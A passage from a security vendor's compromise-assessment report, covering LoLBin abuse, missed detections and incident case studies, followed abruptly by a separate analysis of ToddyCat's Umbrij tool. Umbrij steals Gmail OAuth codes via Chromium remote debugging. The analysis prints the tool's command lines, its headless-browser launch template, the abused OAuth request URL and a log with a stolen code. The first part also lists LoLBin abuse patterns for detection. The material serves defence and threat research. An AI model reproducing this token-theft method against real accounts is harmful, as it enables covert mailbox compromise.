The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.

LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.

Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)

To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:

1. Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
2. Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
   • HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
3. Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
4. Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.

Impact of not having continuous monitoring and proactive threat hunting

Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:

Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:

• Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
• Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.

The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.

Case study: Secure by design without continuous monitoring

The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.

The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.

Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.

Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:

The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.

The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.

The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.

Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.

Incident response action statistics

An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.

Incident response actions required after compromise assessment (download)

The distribution highlights three frequently observed patterns:

• Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
• Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
• Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.

Why forensic collection is the default entry point

Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.

Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.

The organization’s ability to collect forensic data by incident severity (download)

Containment: The remove files/registry keys paradox

Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.

Communication failures: An additional operational overhead

A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:

• Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
• Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
• Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
• Staff turnover – loss of knowledge about historical configuration baselines.

These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.

The iterative nature of response plan updates

The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:

• Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
• Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
• Traffic analysis outcomes that expose additional lateral movement paths.
• Human constraints – unavailable system owners, changes in management processes, or supervisor approval.

Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.

Distinguishing real attacker artifacts from penetration testing leftovers

Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:

• Poorly documented penetration test report and artifact cleanup.
• Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
• Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.

Incident response maturity and its effect on severity

Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.

Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)

Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.

Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)

The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.

The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.

Case study: In-memory LionTail infection on critical Windows servers

During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.

Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.

Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.

The response plan comprised a number of actions, the most critical of which are highlighted below:

• Collection of volatile memory dumps for in-depth analysis.
• Acquisition of full forensic disk images from affected systems.
• Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.

Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.

While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.

Solving the root cause problems

Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.

Common observations on root causes

The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.

Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.

A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:

The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.

Lack of detections: Causes and impacts

Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.

Incident severity distribution when detection coverage was insufficient (download)

A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.

Statistics of missed incidents due to lack of detection capability with or without MSSP (download)

The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:

• Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
• Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.

The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.

Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.

The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.

Case study: In-memory PurpleFox infection evades conventional endpoint protection

During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:

• PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
• XMRig cryptocurrency miner signatures residing inside the same compromised svchost.exe instances.

PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.

The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.

The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.

Insufficient vulnerability management: A catalyst for high-severity compromises

In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.

Severity distribution of incidents due to improper vulnerability management (download)

The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.

Case study: How overly permissive GPO-based software distribution goes wrong

During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.

Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:

• Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
• Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
• Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.

Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.

Conclusion

In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.

Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:

• Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
• Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
• Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
• Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
• Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
• Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
• Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.

Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.

Introduction

We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP and EDR solutions.

The attackers continued their search for ways to bypass security solutions and developed a new tool to gain access to a victim’s cloud account via the Google API. Armed with this tool, the group automated all stages of the attack and managed to remain undetected by monitoring systems.

In this part of the report, we break down the mechanics of this new attack and analyze the tool that was used to automate it. We’ll also discuss how to detect and defend against this threat.

Umbrij

In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs. Because the Google API relies on the OAuth 2.0 protocol for authorization, applications can use an OAuth token to access requested email resources. To acquire this token, the threat actors developed a tool called Umbrij and used it to connect to the browser’s management console in headless mode via a remote debugging port. Through a series of requests, they obtained an OAuth authorization code, which they subsequently exchanged for an access token to reach the target resources via the API. We have dubbed this technique Shadow Token via Remote Debug (STRD).

This attack is viable on Chromium-based browsers. If the user has not logged out of their Gmail account, the browser maintains an active session. The attackers exploit this: they launch the browser, connect via the remote debugging port to take control, and send a request to the Gmail service to grant access to the Google account resources within the context of the user’s saved session.

During our investigation of this attack, we discovered several versions of the Umbrij tool. These versions included a variety of helper functions designed for debugging, as well as for searching and selecting user accounts within the browser, among other tasks.

Kaspersky solutions detect this tool with the following verdicts: HEUR:Trojan-PSW.MSIL.Umbrij.gen, HEUR:Trojan.MSIL.Agent.gen, HEUR:Trojan-PSW.MSIL.Agent.gen.

Execution

The Umbrij tool was discovered during a proactive threat hunting operation: a scheduled task, KasperskyEndpointSecurityEDRAvp, was running on a user host, launching a digitally signed file. Kaspersky solutions do not create scheduled tasks with that name; the attackers were attempting to masquerade their malicious activity as a legitimate process.

The signed file then used the DLL sideloading technique to load the malicious tool.

Umbrij execution events within Kaspersky Managed Detection and Response

Throughout our observation period, we identified the following legitimate files vulnerable to the DLL sideloading technique that were used to launch Umbrij:

1. BDSubWiz.exe: a component of the Submission Wizard in Bitdefender ConnectAgent, which is used to support connection features and interaction with other Bitdefender services or agents. This file insecurely loads a file named log.dll.
2. VSTestVideoRecorder.exe: a component of the video-recording tool used for testing with Visual Studio (VS Test). This executable insecurely loads a file named Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll.
3. GoogleDesktop.exe: the discontinued Google Desktop Search application for indexing files and performing quick searches on a local Windows computer. This executable insecurely loads a file named GoogleServices.dll.

These files were used to load different versions of Umbrij; the same legitimate file could be leveraged to launch more than one variant. In total, we discovered three versions of Umbrij, which we refer to as a, b, and c for convenience.

The tool itself is a DLL written in .NET and obfuscated with ConfuserEx, an open-source obfuscator for .NET applications.

Example of an obfuscated code snippet

Umbrij is managed with the help of parameters passed through a command line at startup, although it is occasionally executed without any parameters. Below are examples of the command lines observed in attacks against users:

"c:\Users\Public\BDSubWiz.exe" -regex <name> -deepsearch
c:\windows\vss\bds.exe

However, these are not the only parameters the tool can accept and process. During the analysis of its executable code, we discovered additional parameters that vary depending on the version of Umbrij. See the table below for the parameters and their descriptions.

Environment preparation

At startup, the tool evaluates several prerequisites required to carry out the attack and performs preparatory actions to subsequently compromise the Gmail account.

First, Umbrij verifies the availability of the port that will be designated for browser debugging. To accomplish this, the tool utilizes a function named ChekPortAvailable() (original spelling retained), which accepts the target port number as a parameter. It then retrieves information about active connections on the host using the .NET GetActiveTcpConnections() function from the System.Net.NetworkInformation namespace. The tool iterates through each connection in a loop, comparing the port number to the one it is checking.

The ChekPortAvailable function used to verify open ports

After this, the tool retrieves the user context. It searches the system for the explorer.exe process and duplicates its token, retaining all of its privileges (T1134.003 Access Token Manipulation: Make and Impersonate Token). This is the exact same mechanism used by another tool in the group’s arsenal, TomBerBil, which we covered previously.

The ImpersonateWithProcess function used to retrieve user context

By default, Umbrij duplicates the token of the first explorer.exe process it encounters. If multiple users are logged in to the system, the -user <username> switch can be used to specify the name of the target user whose token to duplicate. If the -runas-currentuser switch is specified, the tool will execute within the context of the current user without duplicating any tokens.

Next, Umbrij constructs the path to the browser application folder within the user’s local application data repository. To do this, it uses the Environment.SpecialFolder.LocalApplicationData command to retrieve the repository directory from the environment variable and appends the directory of the target browser. The tool then searches for the Local State file in the following folders:

• %LOCALAPPDATA%\Google\Chrome\User Data\Local State
• %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State

See below for an example of the Local State file structure.

Structure of the Local State JSON file

Within this file, the tool searches for the info_cache array, which stores information about browser user profiles. Umbrij enumerates all user profiles and looks for those containing a user_name field that includes an email address. The presence of an email address indicates that the user is authenticated to a Google service. While the tool can interact with every profile it finds, if the -regex <string> parameter is passed through a command line, it searches for the specified substring within the email addresses being enumerated and proceeds exclusively with those matches.

Next, Umbrij creates the following directories for Google Chrome and Microsoft Edge, respectively:

• %LOCALAPPDATA%\Google\Chrome\BackupFiles\
• %LOCALAPPDATA%\Microsoft\Edge\BackupFiles\

The tool copies the following user files and folders of each target user profile into these directories:

• IndexedDB: a folder containing a relational database used for client-side storage of structured data
• Local Storage: a component of the browser’s web storage that provides a key-value mechanism for storing data on the client side
• Network: a folder where the browser stores files related to network requests and caching, such as the network cache and session files
• Login Data: a file that stores saved passwords for various websites and applications
• Login Data For Account: a file that stores credentials associated with a Google account or other synchronized accounts within the browser
• Preferences: a file containing profile-level browser settings
• Secure Preferences: a file that stores protected configurations, such as security and synchronization data
• Web Data: a file that stores auto-fill data

If these files are locked by other processes, the tool includes a dedicated function to force-copy them.

The ForceCopyFolder function used to copy files locked by other processes

As the next step, the tool searches the “Program Files” and “Program Files (x86)” directories for the browser installation folder. Once it locates the executable file and successfully copies all required files, it is ready to proceed with acquiring the authorization code.

Acquiring the authorization code

In the next phase of execution, Umbrij launches Google Chrome, Microsoft Edge, or both browsers sequentially, depending on the parameters passed in the command line. It then passes arguments to the browser based on the following template:

"\"{1}\" --user-data-dir=\"{0}\" --remote-debugging-port={2}  --profile-directory=\"Default\" --headless https://www.google.com/"

It populates the template with the following values:

• {0}: the path to \BackupFiles\, where the user profile files were copied
• {1}: the path to the browser executable file
• {2}: the remote debugging port number

The table below describes the parameters used in this browser launch template:

The browser process runs in headless mode while utilizing the copied user profile. Consequently, all active user cookies are applied, which means sites with saved credentials will skip authentication prompts. Furthermore, the browser will log history to a new folder, keeping it completely hidden from the user’s primary account view.

Through this method, the threat actors gain access to the user’s authenticated sessions — specifically their Google account — along with the ability to erase any trace of their activity within the browser.

Code snippet showing Umbrij connecting to the browser via the debugging port

Next, the tool uses the Puppeteer Sharp library, a .NET version of Puppeteer, to connect to the remote debugging port. Puppeteer provides a high-level API to control Chrome or Chromium browsers over the DevTools protocol. Its primary use is for automated testing.

The Puppeteer module GitHub page

If the connection to the remote debugging port is successful, Umbrij sends a GET request to direct the browser to the following URL:

https[:]//accounts[.]google[.]com/o/oauth2/v2/auth/identifier?response_type=code&client_id=279448736670.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar.readonly%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fmail.google.com%2F%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.insert%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.labels%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.user%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Ftasks%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.group.readonly%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fapps.groups.migration%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile&flowName=GeneralOAuthFlow

The value specified in the client_id field belongs to Google Workspace Migration for Microsoft Outlook (GWMMO). This is Google’s official tool for importing email, calendar events, and contacts from Microsoft Exchange accounts or local PST files into a Google Workspace account.

Umbrij also includes the ability to switch the client_id value from 279448736670 to 1095133494869 by using the -sync parameter. This second identifier belongs to another application: Google Workspace Sync for Microsoft Outlook (GWSMO), which allows users to sync email, calendars, and other data from the cloud account directly into Microsoft Outlook.

Code snippet where the client_id replacement occurs

The remaining parameters used in the request differ from those typically utilized by the legitimate applications. See the table below for a comparison of these parameters:

As seen from the list above, Umbrij omits several parameters characteristic of the legitimate applications. For instance, Umbrij drops the code_challenge parameter, normally used for data protection when retrieving an authorization code. Additionally, the tool modifies the redirection address: while the legitimate application specifies a dedicated port and a callback path, the tool simply points to localhost.

The authorization code request specifies the set of permissions for Google services required by the application. This list also differs significantly between requests issued by the legitimate application and those generated by Umbrij. The table below details the variations in the requested scopes:

After the browser navigates to the URL provided by Umbrij, the Google account selection page opens.

Account selection

Because the attackers copied the victim’s profile folder and are operating within their specific environment, the account selection options will include the currently signed-in user’s authenticated session. Umbrij identifies the corresponding element within the page’s HTML source code.

Searching for HTML code elements on the page

The tool uses JavaScript to emulate a mouse click on the elements, allowing it to proceed to the next step.

Simulating a mouse click on a page element

The subsequent step opens a page displaying the list of requested permissions.

Confirming the list of requested access permissions

As shown in the screenshot, Umbrij requests full access to email, cloud storage, and contacts. Just like in the previous step, it uses JavaScript to click the “Allow” button, which completes the authentication process.

The browser is then redirected to the local address that was specified in the redirect_uri parameter of the initial request. The tool intentionally omits a port and a path to a specific page in the redirect_uri because the true objective of this action is simply to capture the code parameter from the context of the GET request. This parameter contains the OAuth authorization code. To retrieve it, Umbrij extracts the substring located between the code= and &scope parameters.

Extracting the authorization code from the GET request

Results

Umbrij, like most other tools in ToddyCat’s arsenal, logs its actions in detail and saves them to a file. It also saves the retrieved authorization code to this log file, which the operator subsequently exfiltrates from the compromised host.

Below is an example of a log file generated by version a of the tool.

------------------------------
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] switch to sync mode.
[!] port 11111 is available!
[*] Impersonate <username> success!
[*] browser switch to chrome .
Parsing C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State ...
[*] detected profile: Profile 4 ==> <email>@gmail.com
[*] ready auth for <email>@gmail.com.
[*] Browser Exe path C:\Program Files\Google\Chrome\Application\chrome.exe.
[!] CreateProcessAsUserW...
[*] Browser created with pid 3108
[???] <email>@gmail.com
[pup] mail : <email>@gmail.com
[pup] account choice click !
[pup] Allow click !
[<email>@gmail.com] 4%2F0AcvDMrDtzQaC-TT8<hash>uMhg 
[*] RevertToSelf succeed!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

The log indicates that the sync mode is selected (meaning the Google Workspace Sync for Microsoft Outlook application is used) and the debugging port is set to 11111. After locating the user profile and copying its folder, Umbrij launches Google Chrome. After this, the tool emulates clicks on the appropriate buttons to confirm permissions, ultimately outputting the final result of the operation: the stolen OAuth authorization code.

Since all requests occur within a background browser instance, the tool includes a feature to generate a PDF snapshot of the web page where the permission confirmation process halted in the event of an error.

Saving a web page as a PDF file in the case of an error

Additionally, the tool can create a PDF file for the user profile in Google Chrome and Microsoft Edge by navigating to the following internal addresses:

• edge://profile-internals
• chrome://profile-internals

Example contents of a generated PDF file

The acquired authorization code is then exchanged for an OAuth access token. The threat actors use that token to connect to the Gmail account through the API, thus compromising corporate email communications. The diagram below illustrates the complete attack workflow.

Umbrij workflow diagram

Detection

DLL sideloading

First and foremost, defenders should monitor library loading events (DLL loads) associated with the known applications vulnerable to DLL sideloading that are exploited by this tool: Bitdefender ConnectAgent, Visual Studio, and Google Desktop Search.

title: Possible Dll Hijacking Of Microsoft VisualStudio QualityTools dll
id: 246f1409-2993-46f6-9b77-e447a327df5d
status: experimental
